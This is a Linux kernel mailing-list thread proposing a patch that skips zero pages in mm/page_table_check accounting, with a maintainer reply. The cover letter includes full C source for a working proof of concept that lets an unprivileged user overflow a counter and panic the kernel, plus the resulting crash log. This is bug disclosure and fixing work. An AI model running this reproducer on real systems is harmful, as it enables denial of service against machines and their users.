Skip to contentSkip to conversation

mm/page_table_check: skip zero pages

PATCH Applied Ren Wei 2 participants 3 messages Jul 21

Subsystems (2)
lore
Share & tools
lore

Ren Wei

author
#0 lore raw

v2 cover mm/page_table_check: skip zero pages

From: Zhiling Zou <[email protected]>

Hi Linux kernel maintainers,

We found and validated an issue in mm/page_table_check.c. The bug is reachable by a non-root user directly, without user or network namespaces.

We've built the changed object, and the fix should not affect normal page_table_check functionality because it only treats permanent zero pages as a special case while leaving the existing ordinary-page checks unchanged.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

page_table_check_set() and page_table_check_clear() account pages based on whether PageAnon() is set. The shared zero page is a special page, not an ordinary file-backed page, but the current code still counts its read-only anonymous mappings in file_map_count.

An unprivileged process can fault enough private anonymous read-only memory to repeatedly map the shared zero page until file_map_count wraps negative, after which page_table_check_set() or page_table_check_clear() trips the existing BUG_ON().

This fix skips zero pages in page_table_check accounting. Those pages do not need the anonymous-versus-file conflict checks which page_table_check performs for ordinary pages, and this keeps the counter size and page_ext layout unchanged.

Reproducer:

gcc -O2 -Wall -Wextra -static -o poc poc.c
./poc

The PoC defaults to 16 workers and 513 GB of read-only anonymous virtual space per worker. We run the PoC in a 16 vCPU, 24 GB RAM x86 QEMU environment with panic_on_warn=0.
------BEGIN poc.c------

#define _GNU_SOURCE

#include <errno.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef MADV_POPULATE_READ
#define MADV_POPULATE_READ 22
#endif

static unsigned long long env_ull(const char *name, unsigned long long def)

{
	const char *s = getenv(name);
	char *end = NULL;
	unsigned long long v;

	if (!s || !*s)
		return def;

	errno = 0;
	v = strtoull(s, &end, 0);
	if (errno || !end || *end) {
		fprintf(stderr, "invalid %s=%s\n", name, s);
		exit(2);
	}
	return v;
}

static void worker(int sync_fd, unsigned long long gigabytes,
unsigned long long base_addr_tb)

{
	const unsigned long long len = gigabytes << 30;
	const uintptr_t hint = (uintptr_t)(base_addr_tb << 40);
	void *addr;
	char c;

	if (read(sync_fd, &c, 1) < 0) {
		perror("read(sync_fd)");
		_exit(1);
	}
	close(sync_fd);

	addr = mmap((void *)hint, len, PROT_READ,
		    MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE |
			    MAP_FIXED_NOREPLACE,
		    -1, 0);
	if (addr == MAP_FAILED && errno == EEXIST) {
		addr = mmap(NULL, len, PROT_READ,
			    MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1,
			    0);
	}
	if (addr == MAP_FAILED) {
		fprintf(stderr, "[%d] mmap(%llu GB) failed: %s\n", getpid(),
			gigabytes, strerror(errno));
		_exit(1);
	}

	if (madvise(addr, len, MADV_NOHUGEPAGE) != 0) {
		fprintf(stderr, "[%d] MADV_NOHUGEPAGE failed: %s\n", getpid(),
			strerror(errno));
		_exit(1);
	}

	fprintf(stderr, "[%d] populating %llu GB at %p\n", getpid(), gigabytes,
		addr);
	fflush(stderr);

	if (madvise(addr, len, MADV_POPULATE_READ) != 0) {
		fprintf(stderr, "[%d] MADV_POPULATE_READ failed: %s\n", getpid(),
			strerror(errno));
		_exit(1);
	}

	fprintf(stderr, "[%d] populated; holding mapping\n", getpid());
	fflush(stderr);
	for (;;)
		pause();
}

int main(void)

{
	const unsigned long long workers = env_ull("POC_WORKERS", 16);
	const unsigned long long gigabytes = env_ull("POC_GB_PER_WORKER", 513);
	const unsigned long long base_addr_tb = env_ull("POC_BASE_ADDR_TB", 4);
	pid_t *pids;
	int sync_pipe[2];
	unsigned long long i;

	if (workers == 0 || gigabytes == 0) {
		fprintf(stderr, "POC_WORKERS and POC_GB_PER_WORKER must be > 0\n");
		return 2;
	}

	printf("workers=%llu gb_per_worker=%llu total_gb=%llu base_addr_tb=%llu\n",
	       workers, gigabytes, workers * gigabytes, base_addr_tb);
	fflush(stdout);

	pids = calloc(workers, sizeof(*pids));
	if (!pids) {
		perror("calloc");
		return 1;
	}

	if (pipe(sync_pipe) != 0) {
		perror("pipe");
		return 1;
	}

	for (i = 0; i < workers; i++) {
		pid_t pid = fork();

		if (pid < 0) {
			perror("fork");
			return 1;
		}
		if (pid == 0) {
			close(sync_pipe[1]);
			worker(sync_pipe[0], gigabytes, base_addr_tb);
		}
		pids[i] = pid;
	}

	close(sync_pipe[0]);
	close(sync_pipe[1]);

	for (;;) {
		int status;
		pid_t pid = wait(&status);

		if (pid < 0) {
			if (errno == EINTR)
				continue;
			perror("wait");
			return 1;
		}

		if (WIFEXITED(status))
			fprintf(stderr, "child %d exited with status %d\n", pid,
				WEXITSTATUS(status));
		else if (WIFSIGNALED(status))
			fprintf(stderr, "child %d killed by signal %d\n", pid,
				WTERMSIG(status));
		fflush(stderr);
	}
}

------END poc.c--------

----BEGIN crash log----

[ 1513.218556][T10794] kernel BUG at mm/page_table_check.c:121!
[ 1513.219101][T10785] kernel BUG at mm/page_table_check.c:121!
[ 1513.219102][T10787] kernel BUG at mm/page_table_check.c:121!
[ 1513.219103][T10795] kernel BUG at mm/page_table_check.c:121!
[ 1513.219106][T10791] kernel BUG at mm/page_table_check.c:121!
[ 1513.219146][T10785] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 1513.219173][T10785] CPU: 4 UID: 1028 PID: 10785 Comm: poc Tainted: G        W           7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 1513.219181][T10785] Tainted: [W]=WARN
[ 1513.219184][T10785] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1513.219191][T10785] RIP: 0010:page_table_check_set+0x47a/0x660
[ 1513.219223][T10785] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74
[ 1513.219227][T10785] RSP: 0018:ffa00000174df708 EFLAGS: 00010282
[ 1513.219233][T10785] RAX: 0000000080000004 RBX: ff11000100cf9e70 RCX: ffffffff82272c45
[ 1513.219236][T10785] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc
[ 1513.219239][T10785] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7
[ 1513.219242][T10785] R10: ff11000100cf9ebf R11: 0000000000000007 R12: 0000000000000000
[ 1513.219245][T10785] R13: ff11000100cf9eb8 R14: dffffc0000000000 R15: 00000000000131fd
[ 1513.219249][T10785] FS:  00007f4996890780(0000) GS:ff110005d0a68000(0000) knlGS:0000000000000000
[ 1513.219255][T10785] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1513.219258][T10785] CR2: 00005606316be348 CR3: 00000001a2981000 CR4: 0000000000751ef0
[ 1513.219261][T10785] PKRU: 55555554
[ 1513.219263][T10785] Call Trace:
[ 1513.219266][T10785]  <TASK>
[ 1513.219275][T10785]  __page_table_check_ptes_set+0x19e/0x310
[ 1513.219281][T10785]  ? __pfx___page_table_check_ptes_set+0x10/0x10
[ 1513.219288][T10785]  ? __pfx_pfn_pte+0x10/0x10
[ 1513.219302][T10785]  do_anonymous_page+0x11f3/0x1df0
[ 1513.219311][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219322][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219330][T10785]  __handle_mm_fault+0x151f/0x1f90
[ 1513.219337][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219343][T10785]  ? __pfx_do_raw_spin_lock+0x10/0x10
[ 1513.219357][T10785]  ? __pfx___handle_mm_fault+0x10/0x10
[ 1513.219365][T10785]  ? pte_offset_map_lock+0xf5/0x260
[ 1513.219370][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219375][T10785]  ? find_held_lock+0x2b/0x80
[ 1513.219388][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219392][T10785]  ? follow_page_pte+0x3fb/0xf50
[ 1513.219402][T10785]  handle_mm_fault+0x2ad/0x8c0
[ 1513.219413][T10785]  __get_user_pages+0x3b5/0x29a0
[ 1513.219428][T10785]  ? __pfx___get_user_pages+0x10/0x10
[ 1513.219434][T10785]  ? rcu_is_watching+0x12/0xc0
[ 1513.219444][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219487][T10785]  faultin_page_range+0x276/0x6c0
[ 1513.219493][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219501][T10785]  madvise_do_behavior+0x2ce/0x4a0
[ 1513.219513][T10785]  ? __pfx_madvise_do_behavior+0x10/0x10
[ 1513.219520][T10785]  ? down_read+0x142/0x460
[ 1513.219548][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219552][T10785]  ? rw_verify_area+0x71/0x560
[ 1513.219563][T10785]  do_madvise+0x12e/0x1b0
[ 1513.219569][T10785]  ? __pfx_do_madvise+0x10/0x10
[ 1513.219574][T10785]  ? __pfx_vfs_write+0x10/0x10
[ 1513.219595][T10785]  ? __pfx_ksys_write+0x10/0x10
[ 1513.219605][T10785]  __x64_sys_madvise+0xa9/0x110
[ 1513.219609][T10785]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1513.219614][T10785]  ? lockdep_hardirqs_on+0x7b/0x110
[ 1513.219620][T10785]  do_syscall_64+0x116/0xf80
[ 1513.219628][T10785]  ? irqentry_exit+0x117/0x830
[ 1513.219636][T10785]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 1513.219640][T10785] RIP: 0033:0x7f499699fbf7
[ 1513.219659][T10785] Code: ff e8 2d 7d ff ff 48 8b 54 24 28 64 48 2b 14 25 28 00 00 00 75 05 48 83 c4 38 c3 e8 f3 ff 00 00 0f 1f 00 b8 1c 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e9 81 0d 00 f7 d8 64 89 01 48
[ 1513.219663][T10785] RSP: 002b:00007ffc39138e78 EFLAGS: 00000202 ORIG_RAX: 000000000000001c
[ 1513.219668][T10785] RAX: ffffffffffffffda RBX: 0000040000000000 RCX: 00007f499699fbf7
[ 1513.219671][T10785] RDX: 0000000000000016 RSI: 0000008040000000 RDI: 0000040000000000
[ 1513.219674][T10785] RBP: 0000008040000000 R08: 0000000000000000 R09: 0000000000000000
[ 1513.219677][T10785] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000201
[ 1513.219679][T10785] R13: 0000040000000000 R14: 0000000000000002 R15: 00005575774bbd18
[ 1513.219706][T10785]  </TASK>
[ 1513.219708][T10785] Modules linked in:
[ 1513.219718][T10785] ---[ end trace 0000000000000000 ]---
[ 1513.219719][T10795] Oops: invalid opcode: 0000 [#2] SMP KASAN NOPTI
[ 1513.219722][T10785] RIP: 0010:page_table_check_set+0x47a/0x660
[ 1513.219728][T10785] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74
[ 1513.219732][T10785] RSP: 0018:ffa00000174df708 EFLAGS: 00010282
[ 1513.219730][T10795] CPU: 7 UID: 1028 PID: 10795 Comm: poc Tainted: G      D W           7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 1513.219736][T10785]
[ 1513.219740][T10795] Tainted: [D]=DIE, [W]=WARN
[ 1513.219739][T10785] RAX: 0000000080000004 RBX: ff11000100cf9e70 RCX: ffffffff82272c45
[ 1513.219743][T10795] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1513.219744][T10785] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc
[ 1513.219748][T10785] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7
[ 1513.219752][T10785] R10: ff11000100cf9ebf R11: 0000000000000007 R12: 0000000000000000
[ 1513.219748][T10795] RIP: 0010:page_table_check_set+0x47a/0x660
[ 1513.219755][T10785] R13: ff11000100cf9eb8 R14: dffffc0000000000 R15: 00000000000131fd
[ 1513.219760][T10795] Code: c0 0f 85 83 00 00 00 49 8d 7d 04 be 04 00 00 00 e8 bb bc f5 ff b8 01 00 00 00 f0 41 0f c1 45 04 83 c0 01 0f 89 bf fe ff ff 90 <0f> 0b 48 89 ef e8 3c ee ff ff 48 89 c3 e9 cd fe ff ff e8 af b2 74
[ 1513.219761][T10785] FS:  00007f4996890780(0000) GS:ff110005d0a68000(0000) knlGS:0000000000000000
[ 1513.219764][T10795] RSP: 0018:ffa00000172ef708 EFLAGS: 00010286
[ 1513.219767][T10785] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1513.219768][T10795]
[ 1513.219771][T10795] RAX: 0000000080000003 RBX: ff11000100cf9e70 RCX: ffffffff82272c45
[ 1513.219772][T10785] CR2: 00005606316be348 CR3: 00000001a2981000 CR4: 0000000000751ef0
[ 1513.219775][T10795] RDX: ffe21c002019f3d8 RSI: 0000000000000004 RDI: ff11000100cf9ebc
[ 1513.219776][T10785] PKRU: 55555554
[ 1513.219779][T10795] RBP: 00000000000131fc R08: 0000000000000001 R09: ffe21c002019f3d7
[ 1513.219781][T10785] Kernel panic - not syncing: Fatal exception
[ 1514.282927][T10785] Shutting down cpus with NMI
[ 1514.283092][T10785] Kernel Offset: disabled

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
mm/page_table_check: skip zero pages

 mm/page_table_check.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
Signature · 1 line
2.43.0
author
#1 lore raw

PATCH v2 1/1 mm/page_table_check: skip zero pages

From: Zhiling Zou <[email protected]>

page_table_check_set() accounts pages by whether they are PageAnon(). The shared zero page is a special page, not an ordinary file-backed page. Read faults on private anonymous mappings can install many read-only PTEs that point at the zero page, but page_table_check currently accounts them in file_map_count.

That lets an unprivileged process populate enough zero-page mappings to overflow file_map_count and trip the BUG_ON() in page_table_check_set().

Skip zero pages in page_table_check accounting. They do not need the anonymous/file mapping conflict checks that page_table_check performs for ordinary pages, and this keeps the existing counter size and page_ext layout unchanged.

Fixes df4e817b7108 ("mm: page table check")
Assisted-by Codex:gpt-5.4

---
changes in v2:
- Handle zero and huge zero pages as special cases instead of widening
page_table_check counters.
- Keep page_ext storage and ordinary page map-count checks unchanged.
- v1 Link: https://lore.kernel.org/all/b4414b588418c52a99d959d35a40e064ae8b6e72.1784337674.git.roxy520tt@gmail.com/

 mm/page_table_check.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
mm/page_table_check.c +2 -2
index 53a8997ec043..1914902aaf30 100644
@@ -67,7 +67,7 @@ static void page_table_check_clear(unsigned long pfn, unsigned long pgcnt)
 	struct page *page;
 	bool anon;
 
-	if (!pfn_valid(pfn))
+	if (!pfn_valid(pfn) || is_zero_pfn(pfn) || is_huge_zero_pfn(pfn))
 		return;
 
 	page = pfn_to_page(pfn);
@@ -102,7 +102,7 @@ static void page_table_check_set(unsigned long pfn, unsigned long pgcnt,
 	struct page *page;
 	bool anon;
 
-	if (!pfn_valid(pfn))
+	if (!pfn_valid(pfn) || is_zero_pfn(pfn) || is_huge_zero_pfn(pfn))
 		return;
 
 	page = pfn_to_page(pfn);
Signature · 1 line
2.43.0
maintainer
#2 lore raw
Quoted 10 lines · On Tue, 21 Jul 2026 23:56:38 +0800 Ren Wei <[email protected]> wrote:

From: Zhiling Zou <[email protected]>

page_table_check_set() accounts pages by whether they are PageAnon(). The shared zero page is a special page, not an ordinary file-backed page. Read faults on private anonymous mappings can install many read-only PTEs that point at the zero page, but page_table_check currently accounts them in file_map_count.

That lets an unprivileged process populate enough zero-page mappings to overflow file_map_count and trip the BUG_ON() in page_table_check_set().

Yeah, we don't want that.

Quoted 4 lines

Skip zero pages in page_table_check accounting. They do not need the anonymous/file mapping conflict checks that page_table_check performs for ordinary pages, and this keeps the existing counter size and page_ext layout unchanged.

AI review:

	https://sashiko.dev/#/patchset/1f8848512d2e3ded944f8d595c29faee8fdaeab0.1784645969.git.roxy520tt@gmail.com

claims that we're missing a barrier which, in the unlikely case, can result in us "mapping the system-wide huge zero folio as writable". We don't want that either.

I'm not sure why this is described as a pre-existing issue, as it's this change which adds the is_huge_zero_pfn() check.